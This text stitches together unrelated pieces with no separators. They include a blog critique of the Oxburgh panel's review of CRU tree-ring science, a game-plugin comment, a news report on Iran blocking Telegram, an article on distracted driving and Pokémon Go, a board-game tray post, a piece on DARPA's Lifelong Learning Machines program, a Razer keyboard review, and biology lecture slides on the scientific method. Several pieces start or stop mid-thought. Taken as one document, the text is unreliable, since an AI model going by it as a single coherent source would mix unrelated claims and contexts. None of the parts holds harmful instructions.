Obviously I agree that the data sets are “large”, “influenced by many factors of which temperature is only one” and that the “effects of long term temperature variations are masked by other more dominant short term influences”. These sound like Climate Audit points – I question whether these caveats have been as clearly disclosed in IPCC reports as they have been here. They say that the “effects of long term temperature variations … have to be extracted by statistical techniques” – I’d phrase this a little differently and more conditionally. If the effects can be extracted, then they have to be extracted statistically. Surely the efficacy of the statistical techniques needs to be demonstrated. I’m not saying that they were unaware of this nuance.
3. Although inappropriate statistical tools with the potential for producing misleading results have been used by some other groups, presumably by accident rather than design, in the CRU papers that we examined we did not come across any inappropriate usage although the methods they used may not have been the best for the purpose. It is not clear, however, that better methods would have produced significantly different results. The published work also contains many cautions about the limitations of the data and their interpretation.
It’s nice that they concede that “inappropriate statistical tools with the potential for producing misleading results have been used.” Unfortunately, they don’t provide a citation, merely attributing the error to “some other groups”. Surely a panel of esteemed academics can provide citations rather than using Gavin-esque evasions like “some other groups”. Hand’s comments indicate that he’s referring to Mann – who, as everyone except Oxburgh seems to know, is one of the most attested correspondents in the Climategate letters.
They say that they didn’t “come across any inappropriate usage”. But then again they didn’t actually interview any CRU critics or targets. Obvious examples of “inappropriate” statistical usage include the use of calibration-period residuals to estimate confidence intervals, the “Briffa bodge” in adjusting Tornetrask data and of course the trick to hide the decline – both in its IPCC form (deletion of data past 1960), its WMO form (splicing instrumental and proxy data) and its Rutherford 2005-Mann 2008 form (substituting “infilled” data for divergent data.)
They say that “it is not clear that better methods would have produced significant;y different results”. They took no evidence on this. This has been contested in many blog posts and was specifically contested in my submissions to the Parliamentary Committee and Muir Russell Committee – a readily accessible submission that Oxburgh ignored.
4. Chronologies (transposed composites of raw tree data) are always work in progress. They are subject to change when additional trees are added; new ways of data cleaning may arise (e.g. homogeneity adjustments), new measurement methods are used (e.g. of measuring ring density), new statistical methods for treating the data may be developed (e.g. new ways of allowing for biological growth trends).
These caveats are hardly ones that would offend a CA reader. The question is whether these caveats are properly disclosed in IPCC reports.
5. This is illustrated by the way CRU check chronologies against each other; this has led to corrections in chronologies produced by others. CRU is to be commended for continuously updating and reinterpreting their earlier chronologies.
One of the most serious criticisms of CRU – made both at CA and in my two UK submissions – has been CRU’s failure to update the Polar Urals chronology of Briffa et al 1995 (not on the short review list.) The Polar Urals Update resulted in a ring width chronology with an elevated MWP. This was never reported in the literature and this failure sticks in my craw. CRU deserves no “commendation” for their non-reporting of the impact of additional Polar Urals data on the chronology. That Oxburgh would “commend” them on this shows ignorance. But of course, they didn’t take any evidence from critics.
6. With very noisy data sets a great deal of judgement has to be used. Decisions have to be made on whether to omit pieces of data that appear to be aberrant. These are all matters of experience and judgement. The potential for misleading results arising from selection bias is very great in this area. It is regrettable that so few professional statisticians have been involved in this work because it is fundamentally statistical. Under such circumstances there must be an obligation on researchers to document the judgemental decisions they have made so that the work can in principle be replicated by others.
Much of this paragraph reads like Climate Audit. “The potential for misleading results arising from selection bias is very great in this area”. Couldn’t agree more. The work is “fundamentally statistical” – something that I’ve said for several years. “There must be an obligation on researchers to document the judgemental decisions they have made” – yup.
7. CRU accepts with hindsight that they should have devoted more attention in the past to archiving data and algorithms and recording exactly what they did. At the time the work was done, they had no idea that these data would assume the importance they have today and that the Unit would have to answer detailed inquiries on earlier work. CRU and, we are told, the tree ring community generally, are now adopting a much more rigorous approach to the archiving of chronologies and computer code. The difficulty in releasing program code is that to be understood by anyone else it needs time-consuming work on documentation, and this has not been a top priority.
Surely Oxburgh is straying into Muir Russell territory here. Weren’t they asked to assess the science rather than the conduct? Most of this paragraph is an excuse for not doing things. What does this have to do with assessing bodging, cherry picking and their like?
8. After reading publications and interviewing the senior staff of CRU in depth, we are satisfied that the CRU tree-ring work has been carried out with integrity, and that allegations of deliberate misrepresentation and unjustified selection of data are not valid. In the event CRU scientists were able to give convincing answers to our detailed questions about data choice, data handling and statistical methodology. The Unit freely admits that many data analyses they made in the past are superseded and they would not do things that way today.
At CA, I’ve criticized CRU for “unjustified selection of data” while refraining from speculating on their motives. Blog policies require readers not to speculate on motives. “Unjustified selection of data” is a different issue than “deliberate misrepresentation”. CA readers and myself have generally been concerned about confirmation bias and unintentional or negligent misrepresentation than “deliberate misrepresentation”.
Oxburgh says that CRU gave “convincing answers to our detailed questions about data choice, data handling and statistical methodology.” Unfortunately, Oxburgh did not follow the advice of the Parliamentary Committee to do things in the light of day. As a result, none of us knows what the “detailed questions” were or what the CRU answers were.
“The Unit freely admits that many data analyses they made in the past are superseded and they would not do things that way today.” I am unaware of any such admissions on the public record. I, for one, would be interested in knowing which data analyses are involved and precisely which methods the Unit have abandoned.
9. We have not exhaustively reviewed the external criticism of the dendroclimatological work, but it seems that some of these criticisms show a rather selective and uncharitable approach to information made available by CRU. They seem also to reflect a lack of awareness of the ongoing and dynamic nature of chronologies, and of the difficult circumstances under which university research is sometimes conducted. Funding and labour pressures and the need to publish have meant that pressing ahead with new work has been at the expense of what was regarded as non-essential record keeping. From our perspective it seems that the CRU sins were of omission rather than commission. Although we deplore the tone of much of the criticism that has been directed at CRU, we believe that this questioning of the methods and data used in dendroclimatology will ultimately have a beneficial effect and improve working practices
Again Gavin-esque evasiveness – “some of these criticisms”. OK, cite two or three. Are they throwing spitballs at Climate Audit here? Or are they criticizing someone else? If they are criticizing Climate Audit, I’d like to know what they regard as “selective and uncharitable” criticism. If they aren’t criticizing Climate Audit, who are they criticizing? As to a supposed “unawareness of the difficult circumstances under which university research is sometimes conducted”, of their “funding and labour pressures” and the “need to publish”, well, boo hoo. These studies have been cited in documents being presented to the public to justify major public expenditures and policies.
They “deplore the tone of much of the criticism that has been directed at CRU” – again without providing any examples. Hypocritically, they ignore the “tone” of remarks within the Climategate letters, the language that has appalled the public. If they are going to complain about the mote in their brother’s eye, they should first remove the beam in their own.
Quest Add quest_id
Activates a quest.
Maybe I was just being dumb but I wrote:
Quest Add quest_1
which is incorrect. I then saw in your demo the correct format is:
quest add 1
So, idk, maybe I was just being dumb but thought I would mention that I found it a bit confusing, but after I figured it out, it's all working and it's a beautiful plug in so far and you did a really great job!
Durov tweeted that when the company declined to provide the Iranian government with backdoor access to user data in Iran, they blocked their services.
“Iranian ministry of ICT demanded that @telegram provided them with spying and censorship tools. We ignored the demand, they blocked us,” Durov tweeted.
“Iran’s thirst to seize control over its citizens’ private communications, spy on them, and use online content to identify and prosecute any individual who departs from the official line should raise a red flag for all potential investors in Iran,” said Hadi Ghaemi, executive director of the International Campaign for Human Rights in Iran. “No company should be expected to compromise the privacy and security of its users in such an unlawful way, and undermine their own reputational integrity in the process.”
In response to a question by the Iranian Student News Agency (ISNA), Mohammadreza Farnaghizad, General Manager of Public Relations at the Ministry of Telecommunications, said on October 20, 2015, that Telegram had not been blocked. However, there were reports coming out of Iran that the service had been intermittently disrupted, and the Telegram CEO said in a tweet that the service had been completely blocked for two hours.
In September 2015, there was an outcry and flood of questions expressed on social media networks by Telegram users in Iran and around the world over Iranian officials’ remarks that the Iranian government hosted 30 percent of users’ data on servers inside the country. The claim was concerning, as hosting servers inside the country would allow state officials access to any content flowing across those servers and user information.
In response to the Campaign’s direct questions to Telegram regarding these claims via Twitter, the Telegram CEO unequivocally rejected such allegations.
Dozens of Iranian social network users languish in prisons under lengthy sentences for expressing their opinions on the Internet.
Telegram, which unlike Twitter and Facebook is not filtered in Iran, has emerged as one of the leading social media services in Iran, attracting conservative and reformist politicians, media, and the general public. Major publications inside and outside Iran have created channels on Telegram, which are followed by thousands of followers. Media outlets such as the BBC’s Persian Service and Voice of America, and even ultra conservative news outlets such as Tasnim News and Fars News Agency that are affiliated with Iran’s Revolutionary Guard Corps (IRGC) have established their own channels on Telegram to reach Iranian users. On October 7, 2015, the Iranian News Agency (IRNA) announced the launch of President Rouhani’s official Telegram channel.
On the same day of the spying revelation made by Telegram’s CEO, the Revolutionary Guards issued a communiqué calling on the Ministry of Communication to work with Telegram to address what it alleged was the “infiltration” of the service by anti-revolutionaries who use the service to broadcast their messages.
This view regarding the “enemy infiltration” of social media networks was expressed earlier by Iran’s leader, Ayatollah Khamenei, who believes the Internet is “used by the enemy to target Islamic thinking.” In September 2015, Khamenei consolidated all authority for Internet censorship and blocking policies in the hardline Supreme Cyberspace Council which he controls.
In an interview in October, Mark Rosekind, the N.H.T.S.A. administrator, said the increase in miles traveled was not enough by itself to explain this spike in crashes, injuries and deaths. Indeed, fatalities are occurring more frequently even when the increased travel is factored in.
Mr. Rosekind and other safety experts think one factor is distracted driving. In their view, distractions and the allure of smartphones, other devices and in-car electronics have multiplied greatly since the dangers of distracted driving entered the national consciousness years ago.
At that time, the main phone-related distracting activities were texting and talking on the phone. Now a wide range of apps and games also tempt drivers to reach for their phones.
Niantic, the maker of Pokémon Go, recently modified the game to prevent it from operating while moving at speeds of more than about 10 miles per hour, a spokeswoman for the company said. She declined to give further details on the modifications because Niantic did not want users to find ways to get around them, she said.
The change was made after a spate of accidents was blamed on drivers who were playing the game while at the wheel.
“I don’t think Pokémon Go is something any driver should be using at any speed,” Mr. Foxx said.
My instant thoughts were:
wow I get to build my own castle!
this is a really fun game
the component "cardboard" placemats are a horrible storage and play solution. The tiles kept falling, the board kept moving.
Anyway. This is my first attempt at making a tray for a boardgame components. This will allow the game to be played much more neatly. I haven't figured out how best to make the tray into a storage solution as well. I'm open to suggestions!
If you enjoy the game, you should enjoy these trays. They're a bit thicker than they need to be. And my first attempt was too precise measurements so the tiles couldn't really fit, so I gave a bit more space for each.
“I’m sorry, Dave. I’m afraid I can’t do that,” the learning computer tells astronaut Dave Bowman in the movie, made almost 50 years ago, when Bowman’s intent is to access a function that would shut down HAL.
When Bowman asks, “What’s the problem?” HAL’s response is, “I think you know what the problem is just as well as I do.”
The fictional HAL 9000 was a computer that started learning and then decided it no longer had to follow the instructions man had programmed. The computer started making decisions based on what it wanted, not its programming.
Now the U.S. government is working on a project that, ideally, will result in a computer that can learn from its experiences and situations, but still remain within its programmed boundaries.
“Life is by definition unpredictable. It is impossible for programmers to anticipate every problematic or surprising situation that might arise, which means existing [Machine Learning] systems remain susceptible to failures as they encounter the irregularities and unpredictability of real-world circumstances,” said Hava Siegelmann of the Lifelong Learning Machines program run by the federal Defense Advanced Research Projects Agency.
“Today, if you want to extend an ML system’s ability to perform in a new kind of situation, you have to take the system out of service and retrain it with additional data sets relevant to that new situation. This approach is just not scalable.”
The agency in a recent announcement cited the advent of self-driving taxis, cell phones that “react appropriately to spoken requests” and computers that can defeat world-class chess champions.
“Artificial Intelligence (AI) is becoming part and parcel of the technological landscape – not only in the civilian and commercial worlds but also within the Defense Department, where AI is finding application in such arenas as cybersecurity and dynamic logistics planning,” the organization explained.
“But even the smartest of the current crop of AI systems can’t stack up against adaptive biological intelligence. These high-profile examples of AI all rely on clever programming and extensive training datasets – a framework referred to as Machine Learning (ML) – to accomplish seemingly intelligent tasks. Unless their programming or training sets have specifically accounted for a particular element, situation, or circumstance, these ML systems are stymied, unable to determine what to do.”
That means when you ask your cell phone for the weather report, the response has to have been programmed.
Ask your computer about restaurants, and only the results that previously were programmed show up.
“That’s a far cry from what even simple biological systems can do as they adapt to and learn from experience. And it’s light years short of how, say, human motorists build on experience as they encounter the dynamic vagaries of real-world driving – becoming ever more adept at handling never-before-encountered challenges on the road,” DARPA explained.
That brings up the L2M effort.
“The technical goal of L2M is to develop next-generation ML technologies that can learn from new situations and apply that learning to become better and more reliable, while remaining constrained within a predetermined set of limits that the system cannot override,” the agency explained.
“Such a capability for automatic and ongoing learning could, for example, help driverless vehicles become safer as they apply knowledge gained from previous experiences – including the accidents, blind spots, and vulnerabilities they encounter on roadways – to circumstances they weren’t specifically programmed or trained for.”
The path to such an end result, DARPA explained, is its L2M that “aims to develop fundamentally new ML mechanisms that will enable systems to learn from experience on the fly – much the way children and other biological systems do, using life as a training set.”
“The basic understanding of how to develop a machine that could truly improve from experience by gaining generalizable lessons from specific situations is still immature. The L2M program will provide a unique opportunity to build a community of computer scientists and biologists to explore these new mechanisms,” the experts said.
“Enabling a computer to learn even the simplest things from experience has been a longstanding but elusive goal,” said Siegelmann. “That’s because today’s computers are designed to run on prewritten programs incapable of adapting as they execute, a model that hasn’t changed since the British polymath Alan Turing developed the earliest computing machines in the 1930s. L2M calls for a new computing paradigm.”
The breakdown of the work involves two technical areas.
“The first aims to develop ML frameworks that can continuously apply the results of past experience and adapt ‘lessons learned’ to new data or situations. Simultaneously, it calls for the development of techniques for monitoring an ML system’s behavior, setting limits on the scope of its ability to adapt, and intervening in the system’s functions as needed.”
Secondly, there will be research on how living systems learn and whether the findings can be applied to machines.
Delayed due to last-minute redesign (it used to feature a strip of indicators under the HOME keys) and fine-tuning the Switchblade technology that makes it so damn expensive, it wasn't until the spring of this year that the Star Wars: The Old Republic Gaming Keyboard made it into consumers hands.
It is stunning. It is well-crafted. It's strong with the Force.
It's also got a largely unnecessary and rather costly bit hanging off the right side.
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From a purely typing things while doing things on my computer perspective, this is a highly capable input device. Despite my largely positive experience with Razer as a whole, I was not expecting that. It's the keys, you see. I'm a fan of chunky keys with a definite mechanical click. This is a keyboard with flat, silent squares for keys, much like the Razer Blade laptop, with which it shares several features.
It's the type of keyboard I will suffer on a laptop, but normally steer clear of in a desktop situation. That's been my loss, it seems. The keys on the Star Wars: The Old Republic keyboard are ultra-responsive, and the smaller form factor means my fingers are doing less lifting and more travelling, which really makes a difference when you spend all day writing. With my normal keyboard I often stumble over multiple presses; it hasn't happen with this unit yet. Once I ship this one back I'll be shopping for something similar (albeit a bit more practical).
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The unit certainly doesn't skimp on style, either. The same silver-grey plastic that adorns its mouse and headset counterparts is present here, etched with geometric lines evocative of the Star Wars style. They keys are backlit with a pleasant yellow glow, which an illuminated strip at the top and bottom of the keyboard can be adjusted to any solid color, set to cycle through the spectrum, or even tied together with Star Wars: The Old Republic, acting as ambient lighting in sync with the game.
This is all easily controlled through the Razer Synapse software, the control panel for all your Razer peripherals.
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Here you can set up your illumination, save profiles, or fiddle with the various options and configurations for the right side of the keyboard, where this thing sits:
The Switchblade user interface, an excellent idea that began life as what might have been the ultimate portable MMO-playing machine, eventually devolving into a row of ten programmable keys and a touch-screen track pad.
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Here's a quick overview of the Switchblade's standard functions:
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Let's boil it down to the very basics. The Switchblade interface is a series of programmable macro keys, each featuring a tiny LCD screen, and a touchpad that acts as a tiny display monitor. In a way it fulfills the promise of the Optimus Maximus keyboard that had so many PC gamers drooling back in 2007.
In a game setting, players can create and assign their own icons to the buttons, creating custom macros on the fly for any game they deem worthy of their attention. It's the same sort of thing you can do with many other gaming keyboards, only now you're paying a lot extra for fancy buttons.
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And that track pad. While it works fine for the Razer Blade, I don't know a single person that would forego their gaming mouse to use a touchpad. The idea of having a default button dedicated to bringing up a virtual number bad in the stop a real number pad would be on a normal keyboard pretty much defines the absurdity of the device in this context. Is it useful as an additional screen for displaying maps or boss tactics? Sure it is. So's your phone.
I would love to see a version of the Star Wars: The Old Republic gaming keyboard that utilized the same style and mechanical parts, but did away with the expensive gimmicks. That, in my mind, would be the perfect companion to Razer's other Star Wars peripherals and a fine way to enjoy the game you soon won't have to pay for.
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1 Chapter 1: Scientific Thinking
Your best pathway to understanding the world Lectures by Mark Manteuffel, St. Louis Community College
2 Section 1-1 Opener Already a scientist? It starts with curiosity.
3 Scientists Are curious Ask questions about how the world works
Seek answers Does the radiation released by cell phones cause brain tumors? Are anti-bacterial hand soaps better than regular soap? Do large doses of vitamin C reduce the likelihood of getting a cold? You are already a scientist. You may not have not have realized this yet, but it’s true. Because humans are curious, you have no doubt asked yourself or others questions about how the world works and wondered how you might find the answers. These are all important and serious questions. But you’ve probably also pondered some less weighty issues, too 
4 Science Not simply a body of knowledge or a list of facts to be remembered… …but rather an intellectual activity, encompassing observation, description, experimentation, and explanation of natural phenomena. To satisfy your curiosity and to explain seemingly unexplainable, mysterious, or magical things, curiosity and the desire to learn are not enough. Explaining how something works or why something happens requires methodical, objective, and rational observation and analysis that are not clouded with emotions or preconceptions about what is being studied and observed. Science is not simply a body of knowledge or a list of facts to be remembered, it is an intellectual activity, encompassing observation, description, experimentation, and explanation of natural phenomena. Put another way, science is a pathway by which we can come to discover and better understand the world around us. Later in this chapter, we explore specific ways in which we can most effectively use scientific thinking in our lives. But first let’s look at how our understanding of the world can be enhanced by asking the single question that underlies scientific thinking  (next slide).
5 “How do you know that is true?”
The single question that underlies scientific thinking Once you begin asking this question—of others and of yourself—you are on the road to a better state of understanding of the world.
6 …the importance of questioning the truth of many “scientific” claims you see on merchandise packages or read in the newspaper or on the internet. The following story about a popular and successful over-the-counter medicine shows the importance of questioning the truth of many “scientific” claims you see on merchandise packages or read in the newspaper or on the Internet. For more than ten years, a product called “Airborne” was marketed and sold to millions of customers. On the packaging and in advertisements, the makers asserted that Airborne tablets could ward off colds and boost your immune system (Figure 1-1 Some products claim to improve our health, but how do we know they work?). Not surprisingly, Airborne was a great success and generated more than one hundred million dollars in revenue and became one of the fastest selling health products ever. Then some consumers asked the makers of Airborne a reasonable question: How do you know that it wards off colds?
7 Learn exactly what it means to have scientific proof or evidence.
You don’t have to be at the mercy of cranks, charlatans, advertising, or slick packaging. Learn exactly what it means to have scientific proof or evidence. Learn what it means to think scientifically. Are you insulted by the CEO’s assumption about your intelligence? You should be. Did you or your parents (along with millions of other people) fall for Airborne’s false claims? Possibly. But here’s some more good news: you don’t have to be at the mercy of cranks, charlatans, advertising, or slick packaging that claim a product can ward off colds, make you lose 10 pounds in 7 days, make you healthier by cleansing your intestines, or increase or decrease the size of various body parts. You can learn to be skeptical and suspicious (in a good way) of such claims. You can learn exactly what it means to have scientific proof or evidence that something is absolutely true. And you can learn this by learning what it means to think scientifically.
8 Scientific Literacy how to think scientifically
how to use the knowledge we gain to make wise decisions increasingly important in our lives literacy in matters of biology is especially essential In this chapter, we explore how to think scientifically and how to use the knowledge we gain to make wise decisions. Although we generally restrict our focus to biology, scientific thinking can be applied to nearly every endeavor. In this chapter we use a wide range of examples, including some examples from beyond biology, as we learn how to think scientifically. Although the examples we use vary greatly, they all convey a message that is key to scientific thinking: it’s okay to be skeptical and you don’t need to take things on faith. Fortunately, learning to think scientifically is not difficult and it can be fun, particularly because it is so empowering. Scientific literacy, a general, fact-based understanding of the basics of biology and other sciences, is increasingly important in our lives and literacy in matters of biology is especially essential. As we see in the next section, issues hinging on biological ideas and processes are turning up in nearly every facet of our lives, from medicine to nutrition to relationships to politics and even to crime and justice.
9 Take-home message 1.1 Through its emphasis on objective observation, description, and experimentation, science is a pathway by which we can come to discover and better understand the world around us.
10 1.2 Biological literacy is essential in the modern world.
A brief glance at any newspaper will reveal… In the past, it was possible to get through life with little or no knowledge of science, but now scientific literacy has become a necessity. A brief glance at any newspaper will reveal just how many important health, social, medical, political, economic, and legal issues pivot on complex scientific data and theories. 
11 Biological issues—including global warming, fossil fuel use, stem cell research, and the proliferation of genetically modified foods—have also become important in political campaigns. And all around you, you will encounter products bearing too-good-to-be-true claims and technical-sounding language designed to lure you into purchasing them. Lack of biological literacy will put you at the mercy of “experts” who may try to confuse you or convince you of things in the interest of personal gain (Figure 1-2 In the news). Scientific thinking will help you to make wise decisions for yourself and for society.
12 Take-home message 1.2 Biological issues permeate all aspects of our lives. To make wise decisions, it is essential for individuals and societies to attain biological literacy.
13 1.3 The scientific method is a powerful approach to understanding the world.
If science proves some belief of Buddhism wrong, then Buddhism will have to change —Dalai Lama, 2005 It’s a brand new age and science, particularly biology, is everywhere. We are called upon more and more frequently to make decisions that hinge on our abilities to grasp biological information and to think scientifically.
14 To illustrate the value of scientific thinking in understanding the world, let’s look at what happens in its absence, by considering some unusual behaviors in the common laboratory rat. Rats can be trained without much difficulty to push a lever to receive a food pellet from a feeding mechanism (Figure 1-3 “In the absence of the scientific method…”). When the mechanism is altered so that there is a ten-second delay between the lever being pushed and the food pellet being dispensed, however, strange things start to happen. In one cage, the rat will push the lever and then, very methodically run and push its nose into one corner of the cage. Then it moves to another corner and again pushes its nose against the cage. It repeats this behavior at the third and fourth corners of the cage after which the rat stands in front of the feeder and the pellet is dispensed. Each time the rat pushes the lever it repeats the nose-in-the-corner sequence before moving to the food tray. In another cage, with the same ten-second delay, a rat may push the lever and then proceed to do three quick back flips in succession. It will then move to the food tray where the food pellet is dispensed when the ten seconds have elapsed. Like the first rat, the back-flip rat will repeat this exact behavior each time it pushes the lever.
15 Understanding How the World Works
Someone wonders about why something is the way it is and then decides to try to find out the answer. This process of examination and discovery is called the scientific method. As helpful and comforting as stories and superstitions may be (or as helpful as people think they are!), they are no substitute for really understanding how the world works: for really understanding, for example, that you are not sick because the gods are displeased with you but because the water you are drinking is contaminated, and that if the water can be purified, then you won’t get sick. This kind of understanding does not come all at once by some magical power; instead it begins when someone wonders about why something is the way it is and then decides to try to find out the answer. This process of examination and discovery is called the scientific method.
16 The Scientific Method Observe a phenomenon
Propose an explanation for it Test the proposed explanation through a series of experiments ↓ Accurate & valid, or… Revised or alternative explanations proposed The scientific method usually begins with someone observing a phenomenon and proposing an explanation for it. Next the proposed explanation is tested through a series of experiments. If the experiments reveal that the explanation is accurate, and if the experiments can be done by others with the same result, then the explanation is considered to be valid. If the experiments do not support the proposed explanation, then the explanation must be revised or alternative explanations that more closely reflect experimental results must be proposed. This process continues as better and more accurate explanations are found.
17 Scientific Thinking Is Empirical…
…based on experience and observations that are rational, testable, and repeatable. Scientific thinking can be distinguished from other alternative ways of acquiring knowledge about the world in that it is empirical. Empirical knowledge is based on experience and observations that are rational, testable, and repeatable. The empirical nature of the scientific approach makes it self-correcting: in the process of analyzing a topic, event or phenomenon with the scientific method, incorrect ideas are discarded in favor of more accurate explanations. In the next sections, we will look at how to put the scientific method into practice.
18 Once begun, though, it doesn’t necessarily continue linearly through the five steps until it is concluded (Figure 1-5 The scientific method: five basic steps and one flexible process). Sometimes observations made in the first step can lead to more than one hypothesis and several testable predictions and experiments. And the conclusions drawn from experiments often suggest new observations, refinements to hypotheses, and ultimately more and more precise conclusions. 18
19 What should you do when something you believe in turns out to be wrong?
This may be the most important feature of the scientific method: it tells us when we should change our minds. An especially important feature of the scientific method is that its steps are self-correcting. As we continue to make new observations, hypothesis about how the world works might change. If our observations do not support our current hypothesis, that hypothesis must be given up in favor of one that is not contradicted by any observations. This may be the most important feature of the scientific method: it tells us when we should change our minds. 19
20 1.5 Step 1: Make observations.
Look for interesting patterns or cause-and-effect relationships. It always begins with observations. At the first stage in the scientific method, we simply look for interesting patterns or cause-and-effect relationships. This is where a great deal of the creativity of science comes from. In the case of eyewitness testimony, we know now that new technologies have made it possible to assess whether tissue such as hair or blood from a crime scene came from a particular suspect. Armed with these tools, the Justice Department recently reviewed 28 criminal convictions that had been overturned by DNA evidence. They found that in most of the cases, the strongest evidence against the defendant had been eyewitness identification. The observation here is that many defendants who are later found innocent were initially convicted based on eyewitness testimony. 20
21 Does taking echinacea reduce the intensity or duration of the common cold?
Opportunities for other interesting observations are unlimited. Using the scientific method, we can (and will) answer all of the questions that follow. Many people have claimed that consuming extracts of the herb echinacea can reduce the intensity or duration of symptoms of the common cold. For this reason, it is widely used (Figure 1-7 The first step in science: making observations about the world). Returning to our fundamental question underlying the scientific method, we can ask: How do you know that is true? * Does taking echinacea reduce the intensity or duration of the common cold? 21
22 1.6 Step 2: Formulate a hypothesis.
A proposed explanation for observed phenomena Based on observations, we can develop a hypothesis (plural: hypotheses), a proposed explanation for observed phenomena. What hypotheses could we make about the eyewitness testimony observations described in the previous section? We could start with “Eyewitness testimony is always accurate.” We may need to modify our hypothesis later, but this is a good start. At this point, we can’t draw any conclusions. All we have done is to summarize some preliminary observations into a possible explanation for what we have observed. 22
23 Figure 1-8 Hypothesis: the proposed explanation for a phenomenon
24 To be most useful, a hypothesis must accomplish two things:
It must clearly establish mutually exclusive alternative explanations for a phenomenon. It must generate testable predictions. 1. It must clearly establish mutually exclusive alternative explanations for a phenomenon. That is, it must be clear that if the proposed explanation is not supported by evidence or further observations, a different hypothesis is a more likely explanation. 2. It must generate testable predictions (Fig. 1-9).  see next slide 24
25 The Null Hypothesis A negative statement that proposes that there is no relationship between two factors These hypotheses are equally valid but are easier to disprove. An alternative hypothesis It is impossible to prove a hypothesis is absolutely and permanently true. Often researchers will pose a hypothesis as a negative statement which proposes that there is no relationship between two factors, such as “Echinacea has no effect on the duration and severity of cold symptoms.” Or, “There is no difference in the coarseness or darkness of hair that has been shaved.” A hypothesis that states a lack of relationship between two factors is called a null hypothesis. These hypotheses are equally valid but are easier to disprove. This is because a single piece of evidence or a single new observation that contradicts a (null) hypothesis is sufficient to reject it and conclude that an alternative hypothesis is true or that it is highly probable that an alternative is true. In that case, once you have one piece of solid evidence that your null hypothesis is not true, you gain little by collecting further data. Conversely, it is impossible to prove a hypothesis is absolutely and permanently true: evidence or further observations that support a hypothesis are valuable but they do not rule out the possibility that some future evidence or observation might show that the hypothesis is not true. 25
26 Null and Alternative Hypotheses
Echinacea reduces the duration and severity of the symptoms of the common cold. Or as a null hypothesis: Echinacea has no effect on the duration or severity of the symptoms of the common cold. For our other observations, we could state our hypotheses two different ways as illustrated here and in the next few slides. 26
27 1.7 Step 3: Devise a testable prediction.
Suggest that under certain conditions we will make certain observations. This step of the scientific method really is part of the previous step. Formulating a hypothesis is important, but not all hypotheses are created equally. Some, in fact (such as our hypothesis about your dog loving you), are not helpful at all when it comes to helping us to better understand the world. For a hypothesis to be useful, it must generate a prediction. That is, it must suggest that under certain conditions we will make certain observations. Put another way, a good hypothesis helps us to make predictions about novel situations. That is a powerful feature of a good hypothesis: it guides us to knowledge about new situations. This is rather abstract. Let’s get more concrete with the four hypotheses presented in the previous section.  27
28 Devising a Testable Prediction from a Hypothesis
Keep in mind any one of several possible explanations could be true. Keep in mind that when you do not understand some aspect of the world, any one of several possible explanations could be true. 28
29 Devising a Testable Prediction from a Hypothesis
The goal is to: Propose a situation that will give a particular outcome if your hypothesis is true… …but that will give a different outcome if your hypothesis is not true. In devising a testable prediction from a hypothesis, the goal is to propose a situation that will give a particular outcome if your hypothesis is true, but that will give a different outcome if your hypothesis is not true. 29
30 Hypothesis: Echinacea reduces the duration and severity of the symptoms of the common cold.
Prediction: If echinacea reduces the duration and severity of the symptoms of the common cold, then individuals taking echinacea should get sick less frequently than those not taking it, and when they do get sick, their illness should not last as long. Figure 1-9 Devising a testable prediction. 30
31 1.8 Step 4: Conduct a critical experiment.
an experiment that makes it possible to decisively determine whether a particular hypothesis is correct Once we have formulated a hypothesis that generates a testable prediction, we conduct a critical experiment, an experiment that makes it possible to decisively determine whether a particular hypothesis is correct. There are many elements that are crucial in designing a critical experiment, and section 1-11 covers the details of this process. For now, it is important just to understand that with a critical experiment, if the hypothesis being tested is not true, we will make observations that compel us to reject that hypothesis. 31
32 Hypothesis: Echinacea reduces the duration and severity of the symptoms of the common cold.
The critical experiment for the echinacea hypothesis has been performed and it is about as close to a perfect experiment as possible. Researchers began with 437 people who volunteered to be exposed to viruses that cause the common cold. Exposure to the cold-causing viruses was a bit unpleasant: all of the volunteers had cold viruses (in a watery solution) dripped into their noses. Research subjects were then secluded in hotel rooms for five days, and doctors examined them for the presence of the cold virus in their nasal cavity and for any cold symptoms (Figure “When you need to know…”). 32
33 The subjects were randomly divided into four groups.
34 In two of the groups, each individual began taking a pill each day for a week prior to exposure to the cold virus. Those in one group received echinacea tablets while those in the other took a placebo, a pill that looked identical to the echinacea pill but contained no echinacea or other active ingredient. Neither the patient nor the doctor administering the pills knew what the pills contained.
35 In the other two groups, the individuals did not begin taking the pills until the day on which they were exposed to the cold virus. Again, one group got the echinacea pill and the other group got the placebo.
36 Take-home message 1.8 A critical experiment is one that makes it possible to decisively determine whether a particular hypothesis is correct. In the next section we’ll see how our hypotheses survive being confronted with the results of the critical experiments described above and how we can move toward drawing conclusions. 36
37 1.9 Step 5: Draw conclusions, make revisions.
Trial and error Once the results of the critical experiment are in, they are pulled apart, examined, and analyzed. Researchers look for patterns and relationships in the evidence they’ve gathered from their experiments, they draw conclusions and see if their findings and conclusions support their hypotheses. If an experimental result is not what you expected, that does not make it a “wrong answer.” Science includes a great deal of trial and error and if the conclusions do not support the hypothesis, then you must revise your hypothesis, which often spurs you to conduct more experiments. This step is a cornerstone of the scientific method because it demands that you must be open-minded and ready to change what you think. 37
38 The Role of Experiments
What is important is that we attempt to demonstrate that our initial hypothesis is not supported by the data. If it is not, we might then adjust our hypothesis. The results of the purse-snatching experiment were surprising. When the suspects were viewed together in a lineup, the observers/witnesses erroneously identified someone as the purse snatcher about a third of the time. When the suspects were viewed one at a time, the observers made a mistaken identification less than ten percent of the time. In this or any other experiment, it does not matter whether we can imagine a reason for the discrepancy between our hypothesis and our results. What is important is that we have demonstrated that our initial hypothesis—eyewitness testimony is always accurate—is not supported by the data. Our observations suggest that, at the very least, the accuracy of an eyewitness’ testimony depends on the method used to present suspects. Based on this result, we might then adjust our hypothesis to: “Eyewitness testimony is more accurate when suspects are presented to witnesses one at a time.” 38
39 Making Revisions Try to further refine a hypothesis.
Make new and more specific testable predictions. By making revisions, we can devise new and more specific testable predictions to try to further refine a hypothesis. In the case of eyewitness testimony, further investigation suggests that when suspects or pictures of suspects are placed side-by-side, witnesses compare them and tend to choose the suspect that most resembles the person they remember committing the crime. When viewed one at a time, suspects can’t be compared this way and witnesses are less likely to make misidentifications. 39
40 Does echinacea help prevent the common cold?
